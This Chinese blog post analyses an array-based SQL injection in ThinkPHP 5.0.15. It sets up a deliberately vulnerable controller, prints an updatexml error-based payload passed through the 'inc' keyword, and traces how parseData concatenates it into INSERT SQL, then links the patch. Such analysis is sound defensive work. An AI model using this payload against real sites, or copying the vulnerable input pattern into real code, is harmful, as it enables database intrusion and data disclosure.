前言
前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图。最近几天忙于找工作的事情,没来得及看。趁着中午赶紧搭起环境分析一波。Think PHP就不介绍了,搞PHP的都应该知道。
环境搭建
本文中的测试环境为ThinkPHP 5.0.15的版本。下载,解压好以后,开始配置。首先开启debug,方便定位问题所在。修改application\config.php, app_debug和app_trace都改成true。然后创建数据库,并且修改application\database.php为自己数据库的配置。
我这里创建数据库需要的sql文件:
create table \`user\` (
\`uid\` int(10) NOT NULL AUTO\_INCREMENT,
\`username\` varchar(255) NOT NULL DEFAULT '',
\`password\` varchar(255) NOT NULL DEFAULT '',
PRIMARY KEY (\`uid\`)
)ENGINE\=InnoDB DEFAULT CHARSET=UTF8;
然后我们找到application\index\controller\Index.php这个文件,也就是我们的控制器文件,然后添加如下方法:
public function sqli() {
// 从GET数组方式获取用户信息
$user = input('get.username/a');
// 实例化数据库类并且调用insert方法进行数据库插入操作
db('user')->where(\['uid' =>1\])->insert(\['username' => $user\]);
}
漏洞复现
注意这里的路径的问题,ThinkPHP的默认入口文件在public目录下的index.php。具体可以自行跟进。
然后我们可以看到已经成功查询出当前数据库的信息:
漏洞分析:
我们重点来看报错的堆栈信息:
1 in Connection.php line 456
2 at Connection->execute('INSERT INTO \`user\` (...', \[\]) in Query.php line 241
3 at Query->execute('INSERT INTO \`user\` (...', \[\]) in Query.php line 2095
4 at Query->insert(\['username' => \['inc', 'updatexml(1,concat(0...', '233'\]\]) in Index.php line 15
5 at Index->sqli()
6 at ReflectionMethod->invokeArgs(object(Index), \[\]) in App.php line 343
7 at App::invokeMethod(\[object(Index), 'sqli'\], \[\]) in App.php line 595
8 at App::module(\['index', 'index', 'sqli'\], \['app\_host' => '', 'app\_debug' => true, 'app\_trace' => true, ...\], null) in App.php line 457
9 at App::exec(\['type' => 'module', 'module' => \['index', 'index', 'sqli'\]\], \['app\_host' => '', 'app\_debug' => true, 'app\_trace' => true, ...\]) in App.php line 139
10 at App::run() in start.php line 19
11 at require('D:\\phpstudy\\WWW\\thin...') in index.php line 17
很明显到第五行以后的部分都是框架初始化的部分,我们可以略过。感兴趣可以自行研究。我们重点关心后续SQL执行的操作。
我们看到在第五行调用Index类中的sqli方法的时候调用了Query类的insert方法,这个类在 thinkphp\library\think\db\Query.php, 2079行。然后我打印这里传入的第一个参数,也就是参数表中的$data参数,结果如下:
array(1) { \["username"\]=> array(3) { \[0\]=> string(3) "inc" \[1\]=> string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)" \[2\]=> string(3) "233" } }
然后我们传入的username数组。然后我们跟踪整个数据流的传递过程。insert函数中首先进行的时候$options = $this->parseExpress();注释里边写的很清楚了,分析查询表达式,我们重点关心data数据的传递流程。
1 public function insert(array $data = \[\], $replace = false, $getLastInsID = false, $sequence = null)
2 {
3 // var\_dump($data);exit(); 4 // 分析查询表达式
5 $options = $this\->parseExpress();
6 $data = array\_merge($options\['data'\], $data);
7 var\_dump($data);exit();
8 // 生成SQL语句
9 $sql = $this\->builder->insert($data, $options, $replace);
10 // 获取参数绑定
11 $bind = $this\->getBind();
12 if ($options\['fetch\_sql'\]) {
13 // 获取实际执行的SQL语句
14 return $this\->connection->getRealSql($sql, $bind);
15 }
16
17 // 执行操作
18 $result = 0 === $sql ? 0 : $this\->execute($sql, $bind);
19 if ($result) {
20 $sequence = $sequence ?: (isset($options\['sequence'\]) ? $options\['sequence'\] : null);
21 $lastInsId = $this\->getLastInsID($sequence);
22 if ($lastInsId) {
23 $pk = $this\->getPk($options);
24 if (is\_string($pk)) {
25 $data\[$pk\] = $lastInsId;
26 }
27 }
28 $options\['data'\] = $data;
29 $this\->trigger('after\_insert', $options);
30
31 if ($getLastInsID) {
32 return $lastInsId;
33 }
34 }
35 return $result;
36 }
在合并数组之后,$data的内容为,
array(1) {
\["username"\]=>
array(3) {
\[0\]=>
string(3) "inc"
\[1\]=>
string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)"
\[2\]=>
string(3) "233"
}
}
然后生成sql,也就是如下操作:
$sql = $this\->builder->insert($data, $options, $replace);
在这步执行完成以后,打印一下sql。结果如下:
string(85) "INSERT INTO \`user\` (\`username\`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+233) "
至此,我们的漏洞定位已经完成。在builder类中调用insert方法时候的问题,我们跟进就好了:
public function insert(array $data, $options = \[\], $replace = false)
{
// 分析并处理数据
$data = $this\->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array\_keys($data);
$values = array\_values($data);
$sql = str\_replace(
\['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'\],
\[
$replace ? 'REPLACE' : 'INSERT',
$this\->parseTable($options\['table'\], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this\->parseComment($options\['comment'\]),
\], $this\->insertSql);
return $sql;
}
我们看到首先进行的操作是
$data = $this\->parseData($data, $options);
继续跟进,在parseData函数中,对$data进行了遍历,然后如果val的第一个元素为inc,dec或者exp都会进入拼接。然后生成sql。
代码如下:
protected function parseData($data, $options)
{
if (empty($data)) {
return \[\];
}
// 获取绑定信息
$bind = $this\->query->getFieldsBind($options\['table'\]);
if ('\*' == $options\['field'\]) {
$fields = array\_keys($bind);
} else {
$fields = $options\['field'\];
}
$result = \[\];
foreach ($data as $key => $val) {
$item = $this\->parseKey($key, $options);
if (is\_object($val) && method\_exists($val, '\_\_toString')) {
// 对象数据写入
$val = $val\->\_\_toString();
}
if (false === strpos($key, '.') && !in\_array($key, $fields, true)) {
if ($options\['strict'\]) {
throw new Exception('fields not exists:\[' . $key . '\]');
}
} elseif (is\_null($val)) {
$result\[$item\] = 'NULL';
} elseif (is\_array($val) && !empty($val)) {
switch ($val\[0\]) {
case 'exp':
$result\[$item\] = $val\[1\];
break;
case 'inc':
$result\[$item\] = $this\->parseKey($val\[1\]) . '+' . floatval($val\[2\]);
break;
case 'dec':
$result\[$item\] = $this\->parseKey($val\[1\]) . '-' . floatval($val\[2\]);
break;
}
} elseif (is\_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this\->query->isBind(substr($val, 1))) {
$result\[$item\] = $val;
} else {
$key = str\_replace('.', '\_', $key);
$this\->query->bind('data\_\_' . $key, $val, isset($bind\[$key\]) ? $bind\[$key\] : PDO::PARAM\_STR);
$result\[$item\] = ':data\_\_' . $key;
}
}
}
return $result;
}
接着在insert方法中进行字符替换,然后返回最终执行的sql语句。
参考文章:
【先知社区】https://xz.aliyun.com/t/2257
【Github补丁】https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b